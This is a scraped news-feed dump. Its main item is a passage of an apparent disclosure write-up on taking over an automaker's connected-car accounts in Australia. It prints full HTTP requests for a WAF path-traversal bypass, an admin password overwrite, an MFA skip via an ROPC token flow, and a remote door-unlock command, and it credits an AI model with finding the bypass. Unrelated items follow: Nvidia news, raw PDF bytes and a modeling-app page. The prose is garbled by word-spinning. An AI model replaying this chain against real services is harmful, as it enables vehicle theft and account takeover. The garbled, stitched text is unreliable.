that.</p><p>In Australia, a figure dish gets you the VIN (vehicle acknowledgment number) fairly effortlessly through state-based registration lookup sites.</p><p>This isn't really a safety flaw. There are plentifulness of lawful reasons to desire a VIN, akin checking a car's true repair and coverage former before purchasing second-hand. If we could go from VIN to a subscriber or email, we'd complete the chain.</p><p>Fortunately, there was an API that let you do exactly that:</p><p>With the subscriber GUID, you could drag the complete document particulars (including the user's email via the /v1/account endpoint) akin so:</p><figure><img src="https://shubs.io/content/images/2026/11/CleanShot-2026-11-08-at-08.32.13.png" alt="" loading="lazy" width="1856" height="814" srcset="https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-08-at-08.32.13.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-08-at-08.32.13.png 1000w, https://shubs.io/content/images/size/w1600/2026/11/CleanShot-2026-11-08-at-08.32.13.png 1600w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-08-at-08.32.13.png 1856w" sizes=" 720px) 720px"></figure><p>Well, I conjecture we have the archetypal part of our sequence sorted. Plate -&gt; VIN -&gt; Subscriber GUID -&gt; User Account PII (email) registered on the automaker's character phase (ForgeRock OpenIDM).</p><p>Now, how do we dispatch commands to any car we want? Surely this admin tool would let us do that? Unfortunately, no. It let us provision features to a car, add ourselves to a user's document as a secondary user, and equal create distant admission codes. But for all that functionality, none of it really got us distant authority of a vehicle.</p><h2 id="the-identity-platform">The character platform</h2><p>Sam and I afterward spent two weeks digging into how the automaker manages their chief character system: the application they use, the way commands are issued, and how consumers authenticate.</p><p>When a person goes through the authentication stream for the automaker's mobile app, requests are made to login.redacted-identity.com.au, and following going through an MFA flow, a person auth token is eventually issued. This auth token is afterward used for consequent requests to api.redacted-telematics.com.au (both REST APIs and GraphQL). Once you have that auth token, it's beautiful much equivalent over. You can authority a user's car (remote unlock/lock, horns, engine, etc).</p><p>So if we could mint a token for any user, we'd eventually be capable to authority anyone's connected car. This is the viewpoint we went for.</p><p>The automaker is a dense person of ForgeRock's character application (OpenAM/OpenIDM). This is the cornerstone of their authentication mechanisms. Pulling the subdomains for *.redacted-identity.com.au, we quickly established their OpenIDM case at openidm.redacted-identity.com.au. This is the scheme that manages all character registered on the automaker's connected car platform.</p><p>This all clicked together whenever we were combing through the JavaScript records under *.redacted-telematics.com.au and we came throughout an entirely cursed vendor JavaScript bundle that embedded admin credentials for OpenIDM &#128561;:</p><figure><img src="https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.15.20.png" alt="" loading="lazy" width="1138" height="612" srcset="https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-17.15.20.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-07-at-17.15.20.png 1000w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.15.20.png 1138w" sizes=" 720px) 720px"></figure><p>Even although these admin credentials were meant to be for their staging environment, stated the hygiene we'd seen so far, we were beautiful certain they'd activity in manufacturing too.</p><h2 id="fighting-the-waf">Fighting the WAF</h2><p>Looking nearer at OpenIDM, we couldn't inform whether the automaker knew how susceptible it was. One item was apparent though: they'd invested heavily in WAF rules to obstacle admission to the delicate APIs that ForgeRock typically lets you call via /openidm/*.</p><figure><img src="https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-19.32.01.png" alt="" loading="lazy" width="1092" height="762" srcset="https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-19.32.01.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-07-at-19.32.01.png 1000w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-19.32.01.png 1092w" sizes=" 720px) 720px"></figure><p>Even alongside the base IP, any petition to /openidm/ came direct rear as an Nginx WAF block. Someone had put genuine attempt into hardening these resources (despite them being externally accessible).</p><p>Fair enough, and we regard the hardening. But that much WAF funding normally method bandaids complete item known to be bad. They likely understood how bad it was to have this asset exposed at all, and several endeavor case kept it there anyway.</p><p>I'm not certain a WAF regulation has always stopped us whenever we're motivated enough, so we invested days into finding a way out of these protections, using our trusty way traversal tricks. How difficult could it be?</p><p>Validating the admin credentials we established inner the JavaScript bundle was not that tough. The Australian OpenIDM case had a few paths whitelisted akin /XUI/ and /UI/, and way traversal characters were not blocked, so item as uncomplicated as /XUI/..%2fopenidm/endpoint seemed to at smallest partially work:</p><figure><img src="https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.17.15.png" alt="" loading="lazy" width="1862" height="750" srcset="https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-17.17.15.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-07-at-17.17.15.png 1000w, https://shubs.io/content/images/size/w1600/2026/11/CleanShot-2026-11-07-at-17.17.15.png 1600w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.17.15.png 1862w" sizes=" 720px) 720px"><figcaption><span>At smallest we cognize the credentials activity in production</span></figcaption></figure><p>But it can never be as uncomplicated as that, right? The way traversal motionless didn't get us to the endpoints under /openidm/, gratitude to quirks in how OpenIDM handles routing. Every endpoint would error out akin so:</p><figure><img src="https://shubs.io/content/images/2026/07/CleanShot-2026-07-24-at-11.08.53@2x.png" alt="" loading="lazy" width="868" height="212" srcset="https://shubs.io/content/images/size/w600/2026/07/CleanShot-2026-07-24-at-11.08.53@2x.png 600w, https://shubs.io/content/images/2026/07/CleanShot-2026-07-24-at-11.08.53@2x.png 868w" sizes=" 720px) 720px"><figcaption><span>Gosh, we're so close?!</span></figcaption></figure><p>In OpenIDM's world, there were no servlets (or resources) registered against paths that included the way traversal inside them. So it would fair error out, equal although it issued us an admin JWT.</p><p>We were incredibly annoyed by this. A uncomplicated quirk in routing mechanisms (probably not equal designed as a safety consideration) was blocking the complete assault sequence from working. We sat disappointed for a few days, and we idea that the way traversal viewpoint fair wasn't going to work. We did discover a few another endpoints (user upload, for example) that looked akin they power work, but we hit another quirk, a servlet way check, that prevented us from using them meaningfully.</p><p>All of this made us ask a distinct question: why disclose these OpenIDM instances externally at all? Surely there had to be several lawful use case for these resources to be exposed on the internet? We went rear to the distinct JavaScript bundles we had collected from their resources and searched them for communications to OpenIDM. We turned to the decompiled Android use and established the following:</p><figure><img src="https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.18.13.png" alt="" loading="lazy" width="1136" height="808" srcset="https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-17.18.13.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-07-at-17.18.13.png 1000w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.18.13.png 1136w" sizes=" 720px) 720px"><figcaption><span>Maybe there is a whitelist for several endpoints?</span></figcaption></figure><p>These were plainly endpoints inside their OpenIDM asset that were contactable from the Android app. So, perchance these were accessible without the WAF getting in the way?</p><ul><li>/openidm/endpoint/aaa -&gt; 403 WAF blocked</li><li>/openidm/endpoint/pinService -&gt; 404, no WAF block</li></ul><p>Interesting!</p><p>What another tradition endpoints existed? With several extremely ray brute forcing and guessing, we quickly established a getUser endpoint. Guessing at parameters, we established it accepted mail, guid, and phone. Combined alongside our admin credentials, what did this really let us do?</p><figure><img src="https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.18.54.png" alt="" loading="lazy" width="1842" height="958" srcset="https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-17.18.54.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-07-at-17.18.54.png 1000w, https://shubs.io/content/images/size/w1600/2026/11/CleanShot-2026-11-07-at-17.18.54.png 1600w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.18.54.png 1842w" sizes=" 720px) 720px"><figcaption><span>Eep.</span></figcaption></figure><p>The reply came rear alongside the password hash, PIN code hash, mobile shove tokens, and PII including mobile numbers and complete names. There was no WAF obstacle on this endpoint, so no way traversal was needed and the accurate servlet responded.</p><p>Don't get me wrong, this was already beautiful impactful. But the passwords were hashed alongside PBKDF2-SHA512, and needing period on a hash cracking rig for all unlock, alongside no justify of success, felt a bit lacklustre.</p><p>Back to the example board. How could we admission the /openidm/managed/user servlet alongside our way traversal, and motionless have the way be recognised by OpenIDM? We grabbed the OpenIDM origin closest to the type we were evaluation against and let GPT 5.6 Sol Ultra expend a fine six hours on it.</p><p>It succeeded. Even although Sam and I had the two spent period trying to manually bypass this juvenile limitation ourselves, we hadn't tried all imaginable combination.</p><p>When Sam and I tried /XUI%2f..%2fopenidm/, we got a difficult 403, and being human, we assumed that applied to all prefix. What GPT 5.6 established was that /static%2f..%2fopenidm/ wasn't covered by the WAF at all, and it gave us the OpenIDM APIs without the servlet disturbance issue.</p><h2 id="taking-over-accounts">Taking complete accounts</h2><p>With this bypass, taking complete an document became trivial. We could PATCH a new password for any person profile:</p><pre>PATCH /static%2f..%2fopenidm/managed/user/f7ba554REDACTED HTTP/1.1 Host: openidm.redacted-identity.com.au X-OpenIDM-Username: idmadmin X-OpenIDM-Password: REDACTED X-OpenIDM-NoSession: true Content-Type: application/json If-Match: "0000000abc123..." Cache-Control: no-store Accept: application/json [{"operation":"replace","field":"/password","value":"Testing123!"}]</pre><p>Which responded with:</p><pre>&gt; HTTP/1.1 200 OK &gt; {"_id":"f7ba554REDACTED","_rev":"0000000def456..."} </pre><p>OK, so we could overwrite the password for any user. But what concerning multi-factor authentication?</p><h2 id="skipping-mfa">Skipping MFA</h2><p>Well, the automaker's Australian surroundings had one additional misconfiguration: the multi-factor stage could be skipped entirely. First, we requested an authentication token from login.redacted-identity.com.au alongside a Resource Owner Password Credentials grant, which returned a spotless id_token we could toggle for item usable in the person app:</p><pre>POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1 Host: login.redacted-identity.com.au Content-Type: application/x-www-form-urlencoded grant_type=password&amp;<a href="https://en.mycoding.id/category/technology" target="_blank" data-cfemail="d2a7a1b7a0bcb3bfb7efb3b6bfbbbc92a1baa7b0a1fcbbbd">[email&nbsp;protected]</a>&amp;password=Testing123!&amp;client_id=REDACTED_PORTAL&amp;client_secret=REDACTED &gt; HTTP/1.1 200 OK &gt; { &gt; "access_token": "...", &gt; "id_token": "eyJ0eXAiOiJKV1Qi...", &gt; "token_type": "Bearer", &gt; "expires_in": 3599 &gt; }</pre><p>We took that and moved on to stage two, exchanging the archetypal token for a session:</p><pre>POST /json/realms/REDACTED/authenticate?authIndexType=service&amp;authIndexValue=IDTokenROPC HTTP/1.1 Host: login.redacted-identity.com.au Content-Type: application/json Accept: application/json Accept-API-Version: resource=2.0, protocol=1.0 idtoken: eyJ0eXAiOiJKV1Qi... &gt; HTTP/1.1 200 OK &gt; { &gt; "tokenId": "AQIC5wM2LY4Sfcy...*", &gt; "successUrl": "/openam/console", &gt; "realm": "/REDACTED" &gt; }</pre><p>Lastly, we performed the token toggle for a mobile app admission token:</p><pre>POST /oauth2/realms/root/realms/REDACTED/authorize HTTP/1.1 Host: login.redacted-identity.com.au Content-Type: application/x-www-form-urlencoded Accept-API-Version: resource=2.1, protocol=1.0 x-fr-version: 2025.05.05 Authorization: Basic &lt;REDACTED&gt; iPlanetDirectoryPro: AQIC5wM2LY4Sfcy...* Cookie: iPlanetDirectoryPro=AQIC5wM2LY4Sfcy...* client_id=REDACTED_APP&amp;redirect_uri=com.redacted.app:/oauth2Callback&amp;scope=openid%20profile%20write&amp;response_type=code&amp;state=&lt;state&gt;&amp;code_challenge=&lt;S256_challenge&gt;&amp;code_challenge_method=S256&amp;decision=allow&amp;csrf=AQIC5wM2LY4Sfcy...* &gt; HTTP/1.1 302 Found &gt; Location: com.redacted.app:/oauth2Callback?code=&lt;authorization_code&gt;&amp;state=&lt;state&gt; POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1 Host: login.redacted-identity.com.au Content-Type: application/x-www-form-urlencoded Accept-API-Version: resource=2.1, protocol=1.0 Authorization: Basic &lt;REDACTED&gt; grant_type=authorization_code&amp;code=&lt;authorization_code&gt;&amp;redirect_uri=com.redacted.app:/oauth2Callback&amp;client_id=REDACTED_APP&amp;code_verifier=&lt;pkce_verifier&gt; &gt; HTTP/1.1 200 OK &gt; { &gt; "access_token": "&lt;app_access_token&gt;", &gt; "refresh_token": "...", &gt; "token_type": "Bearer", &gt; "scope": "openid overview write", &gt; "expires_in": 3599 &gt; }</pre><p>It's excellent convoluted, I know. OAuth is annoyingly difficult sometimes. But these steps let us bypass multi-factor authentication for any person of the automaker's connected car app.</p><h2 id="unlocking-the-car">Unlocking the car</h2><p>At this point, we were so damn near to unlocking any of the automaker's cars in Australia. All that was remaining was issuing the command API requests alongside the app token we could now mint for anyone.</p><pre>POST /v1/remote/route/command HTTP/1.1 Host: api.redacted-telematics.com.au Authorization: Bearer &lt;app_access_token&gt; X-API-KEY: REDACTED X-GUID: f7ba554REDACTED X-BRAND: REDACTED X-APPBRAND: REDACTED X-CHANNEL: REDACTED X-LOCALE: en-AU X-APPVERSION: REDACTED X-OSNAME: Android X-OSVERSION: 14 X-DEVICE-TIMEZONE: AEST X-CORRELATIONID: 6f1a2b3c-4d5e-6f70-8192-a3b4c5d6e7f8 X-GENERATION: REDACTED VIN: XXXXXXXXXXXXXXXXX Content-Type: application/json Accept: application/json User-Agent: okhttp/4.12.0 {"command": "door-unlock", "autoFixPopup": false, "beepCount": null}</pre><p>And magic. The doors unlocked.</p><p>We evidently did all of this on cars we explicitly owned or had approval to engage with.</p><p>But let's obtain a stage rear and think concerning what we achieved here. We could dispatch commands to any of the automaker's vehicles in Australia, throughout the two of their brands, by lone knowing the figure dish of the vehicle. The final sequence looked akin this:</p><p>Plate -&gt; VIN -&gt; Subscriber GUID -&gt; OpenIDM admin credentials in JS vendor bundle -&gt; Path traversal to bypass the WAF -&gt; MFA bypass via ROPC stream -&gt; Minting a person app token -&gt; Remote command API.</p><p>At 12AM, whenever the complete sequence eventually came together, I took a abbreviated video of the manuscript in action. It's not polished, but it motionless felt magical seeing it all work. I certainly live for difficult challenges akin these.</p><figure data-kg-thumbnail="https://shubs.io/content/media/2026/11/unlock_thumb.jpg" data-kg-custom-thumbnail=""> <div> <video src="https://shubs.io/content/media/2026/11/unlock.mp4" poster="image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" width="1080" height="1920" playsinline="" preload="metadata"></video> <div> <div> <p> <span>0:00</span></p><p> /<span>0:57</span> </p> </div> </div> </div> </figure><p>You power be wondering: Shubs, you stated any of their cars in the world. This lone covers Australia. What gives?</p><p>There's a much additional complex sequence that Sam and I worked on together, which he's published <a href="https://en.mycoding.id/category/technology" target="_blank" rel="noreferrer">on his blog here</a>. It required a lot additional activity than the steps we took for Australia, as the automaker had spent much additional period securing the US, Canadian, and European OpenIDM environments.</p><p>At the end of the day, alongside the two writeups combined, we could dispatch distant commands specified as unlocking and turning the engines on, for any of the automaker's vehicles in Australia, the United States, and Canada.</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/unlocking-any-car-from-x-brand-in-most-of-the-world-76214</guid> <pubDate>Mon, 09 Nov 2026 01:10:50 +0700</pubDate> <author><![CDATA[support@mycoding.id (Riki Setiawan)]]></author> </item> <item> <title><![CDATA[Here's what smart people are saying about Nvidia's investigation of CEO Jensen Huang]]></title> <description><![CDATA[Here's what smart people are saying about Nvidia's investigation of CEO Jensen Huang. As Nvidia grapples alongside a national safety scandal, several endeavor and tech leaders have begun to measure in. Here's what they're saying.]]></description> <media:thumbnail url="https://i.insider.com/6af0f74eeaa5e46dca2280f5?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/here-s-what-smart-people-are-saying-about-nvidia-s-investigation-of-ceo-jensen-huang-76213</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ae0e63dca24d51c5f89f6c7?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ae0e63dca24d51c5f89f6c7?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ae0e63dca24d51c5f89f6c7?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ae0e63dca24d51c5f89f6c7?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ae0e63dca24d51c5f89f6c7?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ae0e63dca24d51c5f89f6c7?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ae0e63dca24d51c5f89f6c7?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="Co-founder, President and CEO of US innovation business Nvidia, Jensen Huang, looks on during a media briefing in Paris on October 13, 2026." decoding="sync"> </p></div> <figcaption e-name="image-caption"> <span e-name="image-source" itemprop="creditText">Joel Saget / AFP via Getty Images</span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <span>Nvidia CEO Jensen Huang stated in a memo on Sunday that he had been "unfaithful" to his wife.</span> </figcaption> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>On Sunday, Nvidia stated its commission of board opened an <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">independent investigation</a> into whether <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Jensen Huang</a> had been the "target of a abroad intellect effort."</p><p>Huang shared a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">memo alongside Nvidia employees</a> before in the day in which he stated he had been "unfaithful" to his wife.</p><p>In October, The New York Times reported that US officials believed that a Chinese intellect asset, Alice Huang, had developed a association alongside the Nvidia CEO. Alice Huang has been an administrator for Megaspeed, an Nvidia customer.</p><p>As Nvidia teeters on the border of a national safety scandal, several endeavor and tech leaders have begun to measure in. Here's what they're saying.</p> <div data-component-type="post-slides" data-load-strategy="lazy"> <div> <p> <h2>Bill Ackman, CEO of Pershing Square Capital Management</h2> </p> <div> <p>On Sunday, Pershing Square CEO Bill Ackman suggested group should guide alongside empathy whenever it comes to Huang.</p><p>"An alert: @JensenHuang is human. And he is an amazing human. Even amazing humans create mistakes," Ackman stated on X. "He takes complete duty as he should. We should all assistance him and his family. Onward."</p> </div> </div> <div> <p> <h2>Chris McGuire, elder chap at the Council on Foreign Relations</h2> </p> <div> <p>Chris McGuire, a elder chap at the Council on Foreign Relations, stated the US Department of Commerce shared accuse for the national safety threat.</p><p>He stated the division has enacted policies that create it uncomplicated for China to admission Nvidia most advanced chips.</p><p>"@CommerceGov guidance knew that Jensen was sleeping alongside a Chinese spy and that Megaspeed was a Chinese cutout, but motionless actively opposed any policies to tighten export controls on Nvidia chips. Why?" he wrote in an X article on Sunday.</p><p>"Commerce could have blocked part shipments to Megaspeed the instant it established out that it was run by a Chinese spy, but it did not. Commerce has additionally refused to enforce regulations&mdash;which ironically remain on the books&mdash;that would necessitate exporters to use for a licence to container ample numbers of AI chips to untrusted entities in many countries, which would forestall China from using casing companies akin Megaspeed to buy controlled chips," he added.</p><p>McGuire stated it's crucial that Nvidia takes national safety issues additional seriously, but additionally called on the US Department of Commerce to "tighten up export controls."</p> </div> </div> <div> <p> <h2>Jason Calacanis, angel capitalist and "All-in" host</h2> </p> <div> <p>Jason Calacanis, an angel capitalist and presenter on the "All-In" podcast, stated on Sunday that the US is in an urgent competition to guide the earth AI industry and that Huang was chief to that effort.</p><p>"We need to win, for the purpose of self-government and humanity. We are all in this together: the left, the correct and the center. There is no period for infighting," Calacanis wrote on X. "Jensen and NVIDIA's innovation are a crucial target, and we need to defend them both."</p><p>Calacanis called on the US to rally together against China and "go faster."</p><p>"Act accordingly," he wrote.</p> </div> </div> <div> <p> <h2>Dan Ives, partner and elder managing director at Yorkville Ives</h2> </p> <div> <p>Dan Ives, a partner and elder managing director at Yorkville Ives, stated on Sunday that the circumstance is a stain on Huang's reputation.</p><p>"This is a dreary eye instant for Jensen and volition spark multiple legislative inquiries at a minimum and volition create an overhang," Ives wrote.</p> </div> </div> <div> <p> <h2>Texas Rep. Michael McCaul</h2> </p> <div> <p>Texas Rep. Michael McCaul stated the US should "immediately pause" shipments of advanced AI chips to China until "we can get to the base of this event and justify our national safety is not being undermined."</p><p>"This is a traditional move from the CCP's playbook &mdash; and another example of why it can never be trusted," he wrote.</p> </div> </div> <div> <p> <h2>Shaun Maguire, partner at Sequoia Capital</h2> </p> <div> <p>Sequoia Capital partner Shaun Maguire shared a few thoughts in an X article on Sunday. Maguire called Huang "one of the top entrepreneurs of this generation," who additionally did item "incredibly dumb."</p><p>He called the decision "bad for America" but doubted Huang had bad intentions.</p><p>"two mistakes don't create a right, and I accept Jensen is irreplaceable for America's AI leadership," Maguire said.</p> </div> </div> <div> <p> <h2>Ross Gerber, chairman and CEO of Gerber Kawasaki Wealth and Investment Management</h2> </p> <div> <p>Ross Gerber additionally discussed the news in an X article on Sunday. Gerber is the chairman and CEO of Gerber Kawasaki Wealth &amp; Investment Management.</p><p>"Extremely disappointing to see the news concerning Jensen. A huge error of judgement and at a totally crucial period for AI development. Not certain how this shakes out," he wrote.</p> </div> </div> </div> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/here-s-what-smart-people-are-saying-about-nvidia-s-investigation-of-ceo-jensen-huang-76213</guid> <pubDate>Mon, 09 Nov 2026 01:08:25 +0700</pubDate> <author><![CDATA[support@mycoding.id (Lauren Edmonds)]]></author> </item> <item> <title><![CDATA[Herb Sutter: When a language's creator and its owners strongly disagree [pdf]]]></title> <description><![CDATA[Herb Sutter: When a language's creator and its owners strongly disagree [pdf]. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/herb-sutter-when-a-language-s-creator-and-its-owners-strongly-disagree-pdf-76210</link> <content:encoded><![CDATA[<div><p>%PDF-1.7 % 1 0 obj &lt;&gt;/Metadata 664 0 R/ViewerPreferences 665 0 R&gt;&gt; endobj 2 0 obj &lt;&gt; endobj 3 0 obj &lt;&gt;/ExtGState&lt;&gt;/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] &gt;&gt;/Annots[ 23 0 R 26 0 R 27 0 R 28 0 R 30 0 R 31 0 R 32 0 R 34 0 R 36 0 R 37 0 R 39 0 R 40 0 R 41 0 R 42 0 R 45 0 R] /MediaBox[ 0 0 612 792] /Contents 4 0 R/Group&lt;&gt;/Tabs/S/StructParents 0&gt;&gt; endobj 4 0 obj &lt;&gt; stream x]ms&#1784;~zgx'7JNq:pLjl&#597;]%,2cR$A&lt;x] &#487;&Gamma;&lt;&gt;Muqar&#1144;&amp;&#12999;OsSU^V&#1235; Af`&lt; GSdZ|K2&gt;&lt;8pxp|L&amp;,*U:p]z9&amp;tw?g+&#362;_{b&#1185;gDvpQ</p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/herb-sutter-when-a-language-s-creator-and-its-owners-strongly-disagree-pdf-76210</guid> <pubDate>Mon, 09 Nov 2026 00:28:01 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[Here’s the full text of Jensen Huang’s memo to Nvidia]]></title> <description><![CDATA[Here’s the full text of Jensen Huang’s memo to Nvidia. On Sunday, Nvidia announced it was launching an inquiry into CEO Jensen Huang's association alongside Alice Huang, an AI administrator and delegate of the Chinese go...]]></description> <media:thumbnail url="https://platform.theverge.com/wp-content/uploads/sites/2/2026/09/gettyimages-2285784039.jpg?quality=90&amp;strip=all&amp;crop=0%2C10.732984293194%2C100%2C78.534031413613&amp;w=1200"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/here-s-the-full-text-of-jensen-huang-s-memo-to-nvidia-76208</link> <content:encoded><![CDATA[<p>On Sunday, Nvidia announced it was <a href="https://en.mycoding.id/category/technology" target="_blank">launching an investigation</a> into CEO Jensen Huang&rsquo;s association alongside Alice Huang, an AI administrator and delegate of the Chinese government. In supplement to the Board of Directors announcing the investigation, Huang sent a memo to Nvidia workforce acknowledging the affair. You can peruse the complete content below.</p><div><blockquote><p>To my colleagues at NVIDIA,</p><p>I owe my family and all of you an apology.</p><p>I was unfaithful to my wife. My actions hurt her and our children. There is no excuse for what I did. I am deeply sorry.</p><p>Throughout my life, my family has stated me affection and support. They deserve my honesty and loyalty. Instead, I let them downward and damaged the existence we built together. I obtain complete duty for what I did and the hurt I caused, and I obtain the criticism that comes alongside it.</p><p>To my spouse and family: I affection you. I cognize an apology cannot undo what I have done. I anticipation our family volition heal and that, complete time, I can acquire rear your trust.</p><p>To my colleagues at NVIDIA, including those I have worked alongside for decades, and to our board, partners, and shareholders about the world: you deserve improved from me. Leading NVIDIA is the privilege of my life. My duty is to assist you and be deserving of your trust. I have fallen abbreviated of that responsibility. I am completely committed to NVIDIA and volition activity to acquire rear your confidence.</p><p>Regarding the national safety concerns raised in news reports, NVIDIA&rsquo;s Board of Directors has initiated an autonomous investigation. I assistance the inquiry and volition cooperate fully. I affection our nation and our company. I am committed to protecting NVIDIA and supporting America&rsquo;s national security. I am arrogant and grateful to be an American.</p><p>My family bears no duty for my choices. I do. Please provision them privacy.</p><p>&mdash; Jensen</p></blockquote></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/here-s-the-full-text-of-jensen-huang-s-memo-to-nvidia-76208</guid> <pubDate>Sun, 08 Nov 2026 23:54:50 +0700</pubDate> <author><![CDATA[support@mycoding.id (Terrence O’brien)]]></author> </item> <item> <title><![CDATA[Chimera Vocal Synth]]></title> <description><![CDATA[Chimera Vocal Synth. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/chimera-vocal-synth-76211</link> <content:encoded><![CDATA[<a href="https://en.mycoding.id/category/technology" target="_blank">Comments</a>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/chimera-vocal-synth-76211</guid> <pubDate>Sun, 08 Nov 2026 23:36:03 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[KetchUp – Open-source SketchUp alternative built with Rust and WebGPU]]></title> <description><![CDATA[KetchUp – Open-source SketchUp alternative built with Rust and WebGPU. Comments]]></description> <media:thumbnail url="https://ketchup3d.github.io/app/assets/screenshots/ketchup.jpg?v=0.6.5-r2"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/ketchup-open-source-sketchup-alternative-built-with-rust-and-webgpu-76212</link> <content:encoded><![CDATA[<div id="main"> <div> <p>KetchUp is a free, open-source 3D modeling app for woodworking and furnishings design. Plan a shelf, table, cabinet, or workbench alongside exact measurements before you build. Use it on Windows, macOS, Linux, or correct in your desktop browser.</p> </div> <figure> <img src="https://ketchup3d.github.io//assets/screenshots/ketchup.jpg?v=0.6.5-r2" alt="KetchUp’s 3D publishing company showing a loft bed model, alongside example tools on the remaining and example controls on the right." width="1920" height="1080" fetchpriority="high"> <figcaption><span>A small sketch. A entire new dimension.</span><span>Actual KetchUp workspace</span></figcaption> </figure> <p>Free &amp; open source. No document needed.<br>Made for a desktop browser and a mouse.</p> <div> <h2 id="possibilities-title">From the archetypal line<br>to the finer details.</h2> <p>Start alongside a uncomplicated shape. Keep the tools you need close, and your example at the center.</p> </div> <div> <span aria-hidden="true">&#8599;</span> <h3>Draw. Pull. Make it yours.</h3> <p>Sketch lines, rectangles, circles, and freehand outlines. Turn faces into forms alongside Push/Pull, afterward move, scale, offset, and paint.</p> <span aria-hidden="true">&#8982;</span> <h3>Keep your ideas in measure.</h3> <p>Snap to geometry and axes, category exact lengths, and add dimensions. Organize the bigger image alongside groups, 